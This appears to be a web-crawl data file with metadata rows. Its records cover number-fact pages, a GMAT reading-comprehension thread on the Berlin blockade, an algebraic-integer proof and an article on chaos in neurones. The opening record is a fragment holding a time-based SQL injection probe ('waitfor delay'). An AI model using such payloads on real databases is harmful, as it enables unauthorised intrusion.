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555-1 waitfor delay '0:0:15' -- | 2,340 | 5,255 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.578125 | 3 | CC-MAIN-2024-30 | latest | en | 0.863814 |
https://numbermatics.com/n/9776889/ | 1,618,450,889,000,000,000 | text/html | crawl-data/CC-MAIN-2021-17/segments/1618038082988.39/warc/CC-MAIN-20210415005811-20210415035811-00318.warc.gz | 528,928,629 | 6,141 | # 9776889
## 9,776,889 is an odd composite number composed of two prime numbers multiplied together.
What does the number 9776889 look like?
This visualization shows the relationship between its 2 prime factors (large circles) and 8 divisors.
9776889 is an odd composite number. It is composed of two distinct prime numbers multiplied together. It has a total of eight divisors.
## Prime factorization of 9776889:
### 33 × 362107
(3 × 3 × 3 × 362107)
See below for interesting mathematical facts about the number 9776889 from the Numbermatics database.
### Names of 9776889
• Cardinal: 9776889 can be written as Nine million, seven hundred seventy-six thousand, eight hundred eighty-nine.
### Scientific notation
• Scientific notation: 9.776889 × 106
### Factors of 9776889
• Number of distinct prime factors ω(n): 2
• Total number of prime factors Ω(n): 4
• Sum of prime factors: 362110
### Divisors of 9776889
• Number of divisors d(n): 8
• Complete list of divisors:
• Sum of all divisors σ(n): 14484320
• Sum of proper divisors (its aliquot sum) s(n): 4707431
• 9776889 is a deficient number, because the sum of its proper divisors (4707431) is less than itself. Its deficiency is 5069458
### Bases of 9776889
• Binary: 1001010100101110111110012
• Base-36: 5TJW9
### Squares and roots of 9776889
• 9776889 squared (97768892) is 95587558518321
• 9776889 cubed (97768893) is 934548949414628883369
• The square root of 9776889 is 3126.8017206085
• The cube root of 9776889 is 213.8291427461
### Scales and comparisons
How big is 9776889?
• 9,776,889 seconds is equal to 16 weeks, 1 day, 3 hours, 48 minutes, 9 seconds.
• To count from 1 to 9,776,889 would take you about twenty-four weeks!
This is a very rough estimate, based on a speaking rate of half a second every third order of magnitude. If you speak quickly, you could probably say any randomly-chosen number between one and a thousand in around half a second. Very big numbers obviously take longer to say, so we add half a second for every extra x1000. (We do not count involuntary pauses, bathroom breaks or the necessity of sleep in our calculation!)
• A cube with a volume of 9776889 cubic inches would be around 17.8 feet tall.
### Recreational maths with 9776889
• 9776889 backwards is 9886779
• The number of decimal digits it has is: 7
• The sum of 9776889's digits is 54
• More coming soon! | 683 | 2,385 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.03125 | 3 | CC-MAIN-2021-17 | latest | en | 0.849599 |
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# V30-02
Author Message
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Current Student
Joined: 19 Mar 2012
Posts: 4351
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GMAT 1: 760 Q50 V42
GPA: 3.8
WE: Marketing (Non-Profit and Government)
### Show Tags
15 Apr 2018, 05:02
00:00
Difficulty:
65% (hard)
Question Stats:
35% (01:04) correct 65% (01:19) wrong based on 20 sessions
### HideShow timer Statistics
The existence of West Berlin, a conspicuously capitalist city deep within communist East Germany, "stuck like a bone in the Soviet throat," as Soviet leader Nikita Khrushchev put it. The Russians began maneuvering to drive the United States, Britain and France out of the city for good. In 1948, a Soviet blockade of West Berlin aimed to starve the western Allies out of the city. Instead of retreating, however, the United States and its allies supplied their sectors of the city from the air. This effort, known as the Berlin Airlift, lasted for more than a year and delivered more than 2.3 million tons of food, fuel and other goods to West Berlin. The Soviets called off the blockade in 1949. After a decade of relative calm, tensions flared again in 1958. For the next three years, the Soviets emboldened by the successful launch of the Sputnik satellite the year before and embarrassed by the seemingly endless flow of refugees from east to west (nearly 3 million in the decade since the end of the blockade, many of them young skilled workers such as doctors, teachers and engineers) blustered and made threats, while the Allies resisted. Summits, conferences and other negotiations came and went without resolution. Meanwhile, the flood of refugees continued. In June 1961, some 19,000 people left the GDR through Berlin. The following month, 30,000 fled. In the first 11 days of August, 16,000 East Germans crossed the border into West Berlin, and on August 12 some 2,400 followed the largest number of defectors ever to leave East Germany in a single day.
Which of the following is supported by the passage?
A. Around 300,000 people on average left East Germany annually in the decade following the blockade
B. August 1961 recorded the largest number of monthly defectors to have left East Germany in a month
C. There was no hostility in West Berlin between 1949 and 1958
D. Doctors, teachers, and engineers wanted to defect because there were more opportunities for young skilled workers in the west in 1959-61
E. The Berlin Airlift forced the Soviets to call off their blockade in 1949
_________________
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Joined: 19 Mar 2012
Posts: 4351
Location: India
GMAT 1: 760 Q50 V42
GPA: 3.8
WE: Marketing (Non-Profit and Government)
### Show Tags
15 Apr 2018, 05:02
Official Solution:
The existence of West Berlin, a conspicuously capitalist city deep within communist East Germany, "stuck like a bone in the Soviet throat," as Soviet leader Nikita Khrushchev put it. The Russians began maneuvering to drive the United States, Britain and France out of the city for good. In 1948, a Soviet blockade of West Berlin aimed to starve the western Allies out of the city. Instead of retreating, however, the United States and its allies supplied their sectors of the city from the air. This effort, known as the Berlin Airlift, lasted for more than a year and delivered more than 2.3 million tons of food, fuel and other goods to West Berlin. The Soviets called off the blockade in 1949. After a decade of relative calm, tensions flared again in 1958. For the next three years, the Soviets emboldened by the successful launch of the Sputnik satellite the year before and embarrassed by the seemingly endless flow of refugees from east to west (nearly 3 million in the decade since the end of the blockade, many of them young skilled workers such as doctors, teachers and engineers) blustered and made threats, while the Allies resisted. Summits, conferences and other negotiations came and went without resolution. Meanwhile, the flood of refugees continued. In June 1961, some 19,000 people left the GDR through Berlin. The following month, 30,000 fled. In the first 11 days of August, 16,000 East Germans crossed the border into West Berlin, and on August 12 some 2,400 followed the largest number of defectors ever to leave East Germany in a single day.
Which of the following is supported by the passage?
A. Around 300,000 people on average left East Germany annually in the decade following the blockade
B. August 1961 recorded the largest number of monthly defectors to have left East Germany in a month
C. There was no hostility in West Berlin between 1949 and 1958
D. Doctors, teachers, and engineers wanted to defect because there were more opportunities for young skilled workers in the west in 1959-61
E. The Berlin Airlift forced the Soviets to call off their blockade in 1949
The passage states "nearly 3 million in the decade since the end of the blockade, many of them young skilled workers such as doctors, teachers and engineers" - this means about 300,000 people left every year on an average during the decade after the blockade.
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### Show Tags
24 May 2018, 16:04
Hi,
Just a little confused as the option mentioned 3mn people annually, however the passage says over 3 years.
Thanks,
Senior Manager
Joined: 08 Jun 2015
Posts: 433
Location: India
GMAT 1: 640 Q48 V29
GMAT 2: 700 Q48 V38
GPA: 3.33
### Show Tags
02 Jun 2018, 23:35
3 million is 3,000,000 and not 300,000. Pl explain why option A is correct ...
_________________
" The few , the fearless "
Intern
Joined: 14 Dec 2017
Posts: 1
### Show Tags
15 Jun 2018, 19:38
The passage has it 'nearly 3 million in the decade'. Decade is 10 years. 3 million/10 years equals 300 000 people on average annually.
Intern
Joined: 28 Jun 2018
Posts: 5
### Show Tags
04 Jul 2018, 08:16
Why not C???? Calm and tension can be presumed to mean no hostility!
Senior Manager
Status: Countdown Begins...
Joined: 03 Jul 2016
Posts: 289
Location: India
Concentration: Technology, Strategy
Schools: IIMB
GMAT 1: 580 Q48 V22
GPA: 3.7
WE: Information Technology (Consulting)
### Show Tags
23 Aug 2018, 08:20
1
bhatiabhavya wrote:
Why not C???? Calm and tension can be presumed to mean no hostility!
Hi, I guess you missed the very important word.
The passage says - After a decade of relative calm, tensions flared again in 1958.
Essentially, it means that the decade was RELATIVELY calm as compared to the earlier blockade period. Now this does not mean that there was no hostility in west Berlin between 1949 to 1958
Hope it's clear.
Intern
Joined: 01 Jan 2019
Posts: 22
### Show Tags
04 Feb 2019, 00:18
what is wrong with E?
The Berlin Airlift forced the Soviets to call off their blockade in 1949
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Re: V30-02 [#permalink] 04 Feb 2019, 00:18
Display posts from previous: Sort by
# V30-02
Moderators: chetan2u, Bunuel
Powered by phpBB © phpBB Group | Emoji artwork provided by EmojiOne Kindly note that the GMAT® test is a registered trademark of the Graduate Management Admission Council®, and this site has neither been reviewed nor endorsed by GMAC®. | 2,172 | 8,446 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.59375 | 3 | CC-MAIN-2019-09 | longest | en | 0.888218 |
https://crazyproject.wordpress.com/2011/06/10/a-fact-about-divisibility-in-a-splitting-field/ | 1,485,256,256,000,000,000 | text/html | crawl-data/CC-MAIN-2017-04/segments/1484560284405.58/warc/CC-MAIN-20170116095124-00110-ip-10-171-10-70.ec2.internal.warc.gz | 795,110,234 | 18,617 | ## A fact about divisibility in a splitting field
Let $E = \mathbb{Q}(\theta)$ be an algebraic extension of $\mathbb{Q}$, and let $K = \mathbb{Q}(\theta_1,\ldots,\theta_k)$, where the $\theta_i$ are the conjugates of $\theta$. Let $\alpha,\beta \in E$, and denote by $\alpha_i$ and $\beta_i$ the $i$th conjugate of $\alpha$ and $\beta$ (respectively). Show that if $\beta|\alpha$ in $E$, then $\beta_i|\alpha_i$ in $E$.
Suppose $\alpha/\beta$ is an algebraic integer in $K$. In particular, $\alpha/\beta \in F(\theta)$, so that $\alpha/\beta = r(\theta)$ for some polynomial $r(x)$.
Now $\alpha/\beta$ is a root of some irreducible monic polynomial $h(x)$ with rational integer coefficients. That is, $h(r(\theta)) = 0$. In particular, $\theta$ is a root of $h \circ r$, so that the conjugates $\theta_i$ are also roots of $h \circ r$. So $h(r(\theta_i)) = 0$ for each $\theta_i$, and thus $\alpha_i/\beta_i = r(\theta_i)$ is a root of a monic polynomial with rational integer coefficients. So $\alpha_i/\beta_i$ is an algebraic integer in $K$ (in fact in $\mathbb{Q}(\theta_i)$). | 340 | 1,083 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 33, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.1875 | 3 | CC-MAIN-2017-04 | longest | en | 0.741767 |
http://plus.maths.org/content/os/issue35/features/dartnell/index | 1,416,704,855,000,000,000 | text/html | crawl-data/CC-MAIN-2014-49/segments/1416400378862.11/warc/CC-MAIN-20141119123258-00043-ip-10-235-23-156.ec2.internal.warc.gz | 265,752,861 | 14,170 | Chaos in the brain
Issue 35
May 2005
Strange attractors
It has long been known that small systems of interacting agents can produce regular behaviour. For example, in a population of foxes and hares, the rates of change of the number of each can be written as an interdependent system of differential equations. As the hare population grows, there is more food for the foxes so they enjoy a population explosion. But then the hares die out, the foxes starve, and the cycle repeats. A graph of hares versus foxes (the "phase-space" of the system) shows a smooth loop - a limit cycle.
Figure 1: A system with 3 linked variables exhibiting chaos - the Lorenz Attractor
However, more complex systems, with three or more differential equations coupled together, often cannot be solved analytically but must instead be modelled step by step on a computer. One of the first such mathematical systems was developed by Edward Lorenz, who was attempting to model the weather with three coupled equations. The solution at each time-step can be plotted on a three-dimensional graph, as shown in the animation in Figure 1.
Lorenz discovered that even though the system was very simple, and completely deterministic (the trajectory can be calculated precisely from the equations), it produced an unpredictable and seemingly random output - chaos. This system has become known as the Lorenz strange attractor, and many more such systems are now known. In fact, it seems that interacting systems, especially those with more than three coupled variables, often exhibit chaotic behaviour. Ordered or rhythmic behaviour does not appear to be the norm.
Neurones and chaos
A neurone is a special electrically-active cell that can transmit pulses of voltage along its length. Each pulse looks like a "spike" on a trace of voltage over time. Pulses are produced as floods of ions rush back and forth through two groups of channels spanning the neurone's membrane: those with fast dynamics and those with slow. Of course, a real living neurone is a complicated thing, but it turns out that the flow of electricity across the membrane can be well modelled by a system of three interdependent differential equations. These describe the change over time in the speed at which the voltage across the membrane changes, and two other variables: fast channel current and slow channel current.
Such a simple model accurately reproduces the behaviour-types of a single nerve cell: silent, or firing regularly, or spiking chaotically, as the system moves between different regions of the phase-space. This perfectly demonstrates the elegance of a mathematical approach: the hopelessly complicated reality, with numerous different channels opening and closing independently, and ions flowing in and out through them, has been condensed down to its essence of just three linked equations. The model accurately predicts the behaviour of an isolated neurone observed in a lab as the experimenter forces the voltage up: first staying still, then spiking rhythmically, then with two pulses in every beat, then three, until finally the output degenerates into chaos, as seen in Figure 2.
Nerve cells are also capable of another type of firing behaviour, called "bursting". The voltage rises slowly until a particular threshold is passed and then the neurone suddenly fires off a rapid series of spikes before falling quiet again. The important detail is that the spikes become less and less regular towards the end of a burst, as if the neurone is steadily descending back into a chaotic regime before shutting off. This mode is more important when we consider networks of connected neurones, and can be seen in Figure 3.
Figure 2: The trajectory of a fly trapped in the room of Lorenz phase-space.
For a three-variable system like this, the situation is much like a fly buzzing around inside a large square room. The axes (the width, length, and height of the room) represent the three interdependent parameters that affect the behaviour of the system. Different combinations create different behaviours in the system, and the fly has particular flight paths in separate zones of the room. Some parts of the system's phase-space, ie regions of air within the room, exhibit semi-periodic behaviour. The fly is spiralling gently downwards, or looping the loop near the ceiling, and its path is largely predictable. This corresponds to a neurone spiking regularly. At other times, it is as if the fly strays a touch too close to some invisible point in the middle of the room and as a result zooms off in highly variable directions. These are the chaotic regions of the phase space, and they can throw the fly between distant spots in the room, rapidly switching its flight behaviour - for example from spiralling to looping.
Such a switching region can be seen in the animation of the Lorenz attractor in Figure 3. Here the "fly" spends a short while looping around one of the lobes, before its path strays too close to the middle and it is shunted over to the other side.
Controlling the chaos
If two chaotic neurones are coupled together with an inhibitory link, so that while one is firing it prevents the other from doing so, then the two neurones can effectively modulate each other. They fall into ordered oscillations, out of phase with each other, and synchronised so that as one finishes bursting the other starts up. The two neurones alternate in activity, like the steady tick-tock of a clock.
More neurones can be added to form a small loop-like circuit, each mutually inhibiting its two neighbours. Now each of the neurones produces a perfect oscillating pattern (remember, the behaviour of each in isolation would be chaotic). Due to the inhibition, every neurone bursts in opposite phase to its neighbours - resulting in alternating neurones firing in a synchronised rhythm, like a group drumbeat. Thus, the interactions between the neurones have collectively regularised their own output.
In fact, it seems to be a general feature of both the models we build of neurones and the neurones themselves that their output is much more regular when they are assembled into linked networks, rather than acting individually - the coupling itself seems to suppress chaos.
There is a clue to the way neural circuits control the disruptive forces of chaos in the trace in Figure 3. After the inhibition has been lifted the neurone starts bursting, but, as described already, the spikes get progressively more and more irregular. However, just before it starts behaving completely chaotically, its neighbour begins inhibiting again and shuts it off. Each new burst begins afresh with a more or less regular rhythm of firing - the neurone has been reset. One of the reasons, therefore, that networks of neurones are more stable than any of the individual cells might be that through the inhibition they keep shifting each other back into phase-regions further away from the chaotic regime. It is almost as if the fly is caught in a whirlpool and is being swirled closer and closer to a chaotic regime in the centre. The electrical effect of neurone inhibition is like rescuing the fly before it finally spirals into the chaotic hole, moving it to a more stable region of the phase space, and then releasing it again at the start of the next burst.
Central Pattern Generators
It is exactly this kind of neural network, a staggeringly simple six-neurone loop, that produces patterned output driving the heartbeat of the leech. Such assemblies of nerve cells are called Central Pattern Generators, or CPGs. The out-of-phase rhythms cause two opposing sets of muscles to contract and pump blood around the body. A chemical signal called a neuromodulator can be released onto this circuit to reduce the degree of inhibitory coupling between the individual neurones, and the pace of the drumbeat increases.
Figure 3: The mutually inhibited six-neurone circuit controlling the leech heart. Each half of the neural network produces the series of bursts shown at the bottom. Here neurones 1, 3, and 5 are firing while the others are silent. The spikes within each burst get increasingly erratic.
The much more complex behaviour of "higher" organisms is controlled by larger, more complicated neural networks. And in such complex multi-dimensional systems chaotic regimes may be unavoidable, so the firing output of neurones may be inherently chaotic, with this chaos actively suppressed by the wiring of neural circuits. Without the control of periodic inhibition the neurones would all quickly degenerate into erratic behaviour.
Some independent CPGs have been identified in such higher organisms, for example in amphibians like salamanders the same CPG controls both swimming in water and walking on land, and must be able to switch quickly between the two necessary patterns. The neural network that controls swallowing in cats is rapidly reconfigured to generate the muscle contractions required for coughing. Many of these assemblies are located in the spinal cord and operate independently of the main brain - explaining why headless chickens really are able to run around.
We see that animals need neural circuits that not only produce useful, regular patterns, but that can also shift quickly between different modes to meet changing requirements. This hints at a deeper influence of chaos in our brains: it is starting to look as if evolution has tuned neurones so that they usually operate right on the brink of the chaotic pits in phase-space. Could this just be due to the mathematics of such systems - large regions of the phase-space are rotten with chaotic regimes, especially in complex systems with many interacting components, with the result that any semi-stable trajectory is never far from falling into one? Or is chaos somehow vital to the proper working of our brains?
Neuroscientists are coming to believe the latter. Even though chaos is suppressed by networks, it is thought that the inherent instability of the individual neurones is vital to the working of CPGs and processing networks. It is not simply that neurones are able to cope with inevitable chaos: they have evolved to exploit it. Neurones need to be able to switch quickly between different states, and that is precisely what a chaotic trajectory does within the phase-space. A neurone in a dormant state waiting for the signal to spike, or one already in a smooth, regular pattern of firing (ie a semi-periodic cycle), is in a stable configuration and cannot quickly jump across phase-space to alter its firing pattern.
Modern fighter jets like this F22 are deliberately designed to be unstable to make them more manoeuvrable.
If neurones instead function right on the edge of chaos, as demonstrated by those with the bursting output, that very instability allows them to alter their behaviour rapidly as necessary. Chaotic systems, by definition, are sensitive to their initial conditions. So only the slightest nudge, or "perturbation" in maths-speak, is needed to knock a system following one particular trajectory onto a completely different one that quickly takes it to another region of the phase-space. The metaphorical butterfly need only flap its wings to create a tornado.
Neurones operating in inherently unstable regions of the phase-space thus need only the slightest input to settle quickly into a new pattern. It's as if the fly is hit by a minute puff of air that pushes it closer to a switch point in the room, and is thrown from gentle spirals near the ceiling to furious looping by the skirting board. A similar philosophy informs the design of modern fighter jets: planes such as the F22 are inherently aerodynamically unstable and can only be controlled with the aid of computers. The flip-side is that they are extremely quick to respond to commands, and so highly manoeuvrable in the air.
Proteus
Aside from being crucial for the effective functioning of CPGs and other processing networks in the brain, chaos may hold the key to understanding another type of animal behaviour that often makes the difference between life and death. When a predator pounces, simply escaping in the opposite direction is often the worst option. Your course is entirely predictable and can be anticipated by the predator. Much better to dodge randomly - a strategy that has been re-evolved many times by nature on land, sea and air, and even during research into artificial intelligence. For example, two robots, a slow but manoeuvrable "prey" and a faster but less agile "predator", are given simple neural networks with the capacity to evolve, and released in an arena together. The prey very soon learns that just running away from the predator as fast as it can is doomed to failure, whereas turning randomly to move in a zig-zag fashion is much more successful. Such an escape strategy of unpredictable movements is known as Protean evasion, after the Greek river god who eluded capture by continually changing form. The predators likewise evolve to be more cunning at anticipating the course of the prey in order to catch it.
Moth species able to hear the sonar calls from an echolocating bat often get some warning that the predator has locked on to them and is swooping in. In many cases they try an evasive flight pattern of tight turns, loops and powered dives, attempting to get themselves out of the narrow ultrasound beam so that the bat loses them. As a last-ditch effort they initiate very unpredictable movements, fluttering their wings irregularly so that they tumble around in the sky, making them a difficult target to catch. This erratic output is thought to come from the same CPG that normally produces the very regular rhythm for stable flight. Somehow the moth can trigger it to go chaotic instead, generating erratic wing-muscle twitches that help it dodge predators. The transition is extremely rapid and can be switched in just a few hundredths of a second - 10 times faster than the blink of an eye.
It is still largely unclear how the moth's CPG is wired up to enable it to flip-flop between these two behaviours, but the message is that sometimes an erratic output from a neural network is in fact extremely useful. Truly random behaviour is difficult to produce from neural networks (and people are notoriously bad at trying to imitate random processes), but a chaotic system, although not technically random, is a good approximation and can be unpredictable enough to confuse an approaching predator.
Unsurprisingly, if a CPG that is supposed to generate a regular pattern enters a chaotic regime of output then the consequences can be dire. The human heart, for example, is controlled by a population of pacemaker cells that ensure all the muscles fibres contract in a co-ordinated way and keep the heart pumping at a steady rate (which, like the leech heart, can be regulated by hormones such as adrenaline). If the output from these cells starts going awry the heart muscles no longer pull in unison but begin twitching chaotically, often leading to full-blown cardiac arrest. The solution is to deliver a sudden electric current across the heart to reset the firing pattern of the pacemakers, using the familiar shock paddles of a defibrillator. Other researchers think that the uncontrolled muscle spasms during an epileptic fit are due to neural networks in certain regions of the brain degenerating into a chaotic pattern.
Early research into systems of differential equations with more than three variables found that chaotic behaviour is all but inevitable for large swathes of the phase-space. Despite this, complex biological systems such as networks of nerve cells have evolved to tame chaos in order to produce the patterned output crucial for all animal behaviour. In fact, it is starting to seem that neurones have even gone a step further, and harnessed the powers of chaos to make neural circuits much more versatile and quick to adapt. Some insects even cultivate chaotic output to produce randomised behaviour. The hope is that by understanding how insects achieve this feat we will gather insights into controlling "dynamical diseases" such as epilepsy and heart fibrillation.
In Greek mythology, Chaos is the goddess of emptiness and confusion who gave birth to the Universe. Modern science is only just finding out that she may also give rise to human consciousness as well as disease.
Lewis Dartnell read Biological Sciences at Queen's College, Oxford. He is now on a four-year combined MRes-PhD program in Modelling Biological Complexity at University College London's Centre for multidisciplinary science, CoMPLEX. He completed the MRes last year, and is now just beginning a PhD in the field of astrobiology. He is using computer models of the magnetic fields on Mars to predict radiation levels, and whether alien life, or even future human explorers, could possibly be surviving near the surface.
In 2003 he came second in the THES/OUP science writing competition, and this year was awarded second prize in the Daily Telegraph/BASF Young Science Writer Awards. You can read more of Lewis's work at his homepage. | 3,417 | 17,154 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.65625 | 3 | CC-MAIN-2014-49 | longest | en | 0.964513 |
https://charline-picon.com/how-to-find-square-root-of-30/ | 1,660,137,514,000,000,000 | text/html | crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00700.warc.gz | 188,749,667 | 5,575 | The square root of 30 is expressed together √30 in the radical kind and as (30)½ or (30)0.5 in the exponent form. The square root of 30 rounded up to 5 decimal places is 5.47723. It is the hopeful solution that the equation x2 = 30.
You are watching: How to find square root of 30
Square source of 30: 5.477225575051661Square source of 30 in exponential form: (30)½ or (30)0.5Square root of 30 in radical form: √30
1 What Is the Square source of 30? 2 Is Square root of 30 Rational or Irrational? 3 How to uncover the Square root of 30? 4 Challenging Questions 5 FAQs ~ above Square source of 30
What Is the Square source of 30?
Square source of 30 is the worth which is obtained after taking square source of 30. Execute you think 30 can be damaged into two parts such that each part on multiplication gives a value 30? Let"s have actually a look at at determinants of 30.We deserve to see that every number i beg your pardon is a variable of 30 does not result in 30 ~ above squaring. That provides us the answer the 30 can not be broken into two parts such that each part on multiplication offers a value 30. Hence, when square source of 30 is taken, following value is obtained.
Is the Square root of 30 Rational or Irrational?
It is not possible to dissociate 30 into 2 such components which ~ above multiplying give 30. 30 deserve to be about written as a square the 5.477, which is a non-recurring and also non-terminating decimal number.This shows it isn"t a perfect square, which additionally proves the the square root of 30 is an irrational number.
How to uncover the Square source of 30?
Square source of 30 is discovered using the adhering to steps:
Step 1: examine whether the number is perfect square or not. 30 is no a perfect square as it cannot be damaged down right into a product the two very same numbers.Step 2: once the number is checked, following is the processes forced to be followed:
It can likewise be composed in its streamlined radical kind of square root.In this case, 30 is no a perfect square; hence the square root is discovered using the long department method. The simplified radical kind of square source of 30 is provided as below.
Simplified Radical form of Square root of 30
30 deserve to be composed as a product 5 and 6But neither is 5 a perfect square, nor is 6 a perfect square.Hence, that is offered as √3030 is not a perfect square; hence it continues to be within roots.Simplified radical kind of square root of 30 is √30
Square root of 30 By Long Division
Let us recognize the procedure of finding square source of 30 by lengthy division.
Step 1: Pair the number of the number native one"s digit. 30 has actually 2 digits. Digits space paired indigenous right side. We present the pair by place a bar end them.
See more: 75 Percent Of What Is 75 Percent Of 9 Is 75 Percent Of What Number = 12
Step 2: currently we find a number such the the square that the number offers product much less than or same to the very first pair. Here, the pair just consists of 30. Square the 5 gives product much less than 30. On subtracting 30 from square the 5, we get 5.The brand-new 3-digit divisor is currently 104 and the on multiplication to 4 gives 416. On subtracting 416 from 500 we get 84Step 4: for the new dividend obtained, us take the double of quotient and place a digit with divisor together with its location in quotient, such the the brand-new divisor as soon as multiplied through the individual number in quotient provides the product less than the dividend. The twin of quotient gives 108 and a pair of 0"s is added to the dividend. The fourth digit that the divisor is uncovered such that the product the it through the quotient a value lesser than the dividend.Step 5: The difference is acquired in the over step. The twin of quotient is again taken and used together a divisor together with the joining of one much more digit such that the exact same digit is discussed in the quotient, resulting in a product less than the brand-new divisor. The number that is composed in blank room is 7. The product of 1087 come 7 gives 7606 which is much less than 8400. On the subtraction of 7609 from 8400, we get 791 with a brand-new pair the zeros in the dividend. The quotient is again doubled, which provides the worth 1094Step 6: The procedure is repeated. Hence, the department is presented as:
Explore Square roots utilizing illustrations and also interactive examples
How will certainly Hailey find the square root of 30 using long division method upto 7 decimal places?How will certainly Billy express the square source of 300 in regards to square root of 30? | 1,154 | 4,633 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.4375 | 4 | CC-MAIN-2022-33 | latest | en | 0.886603 |
https://numbermatics.com/n/239171983502077892/ | 1,726,675,721,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700651899.75/warc/CC-MAIN-20240918133146-20240918163146-00213.warc.gz | 393,707,789 | 7,422 | # 239171983502077892
## 239,171,983,502,077,892 is an even composite number composed of four prime numbers multiplied together.
What does the number 239171983502077892 look like?
This visualization shows the relationship between its 4 prime factors (large circles) and 36 divisors.
239171983502077892 is an even composite number. It is composed of four distinct prime numbers multiplied together. It has a total of thirty-six divisors.
## Prime factorization of 239171983502077892:
### 22 × 72 × 3167 × 385306353631
(2 × 2 × 7 × 7 × 3167 × 385306353631)
See below for interesting mathematical facts about the number 239171983502077892 from the Numbermatics database.
### Names of 239171983502077892
• Cardinal: 239171983502077892 can be written as Two hundred thirty-nine quadrillion, one hundred seventy-one trillion, nine hundred eighty-three billion, five hundred two million, seventy-seven thousand, eight hundred ninety-two.
### Scientific notation
• Scientific notation: 2.39171983502077892 × 1017
### Factors of 239171983502077892
• Number of distinct prime factors ω(n): 4
• Total number of prime factors Ω(n): 6
• Sum of prime factors: 385306356807
### Divisors of 239171983502077892
• Number of divisors d(n): 36
• Complete list of divisors:
• Sum of all divisors σ(n): 487039560794164224
• Sum of proper divisors (its aliquot sum) s(n): 247867577292086332
• 239171983502077892 is an abundant number, because the sum of its proper divisors (247867577292086332) is greater than itself. Its abundance is 8695593790008440
### Bases of 239171983502077892
• Binary: 11010100011011010110100110110111001101110111101111110001002
• Base-36: 1TEZE4E3IQ4K
### Squares and roots of 239171983502077892
• 239171983502077892 squared (2391719835020778922) is 57203237692318219352281881635163664
• 239171983502077892 cubed (2391719835020778923) is 13681411821612573385648309371240668569602197496116288
• The square root of 239171983502077892 is 489052127.5918119263
• The cube root of 239171983502077892 is 620731.0000000011
### Scales and comparisons
How big is 239171983502077892?
• 239,171,983,502,077,892 seconds is equal to 7,604,929,267 years, 44 weeks, 6 hours, 31 minutes, 32 seconds.
• To count from 1 to 239,171,983,502,077,892 would take you about twenty-two billion, eight hundred fourteen million, seven hundred eighty-seven thousand, eight hundred three years!
This is a very rough estimate, based on a speaking rate of half a second every third order of magnitude. If you speak quickly, you could probably say any randomly-chosen number between one and a thousand in around half a second. Very big numbers obviously take longer to say, so we add half a second for every extra x1000. (We do not count involuntary pauses, bathroom breaks or the necessity of sleep in our calculation!)
• A cube with a volume of 239171983502077892 cubic inches would be around 51727.6 feet tall.
### Recreational maths with 239171983502077892
• 239171983502077892 backwards is 298770205389171932
• The number of decimal digits it has is: 18
• The sum of 239171983502077892's digits is 83
• More coming soon!
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Keywords: Divisors of 239171983502077892, math, Factors of 239171983502077892, curriculum, school, college, exams, university, Prime factorization of 239171983502077892, STEM, science, technology, engineering, physics, economics, calculator, two hundred thirty-nine quadrillion, one hundred seventy-one trillion, nine hundred eighty-three billion, five hundred two million, seventy-seven thousand, eight hundred ninety-two.
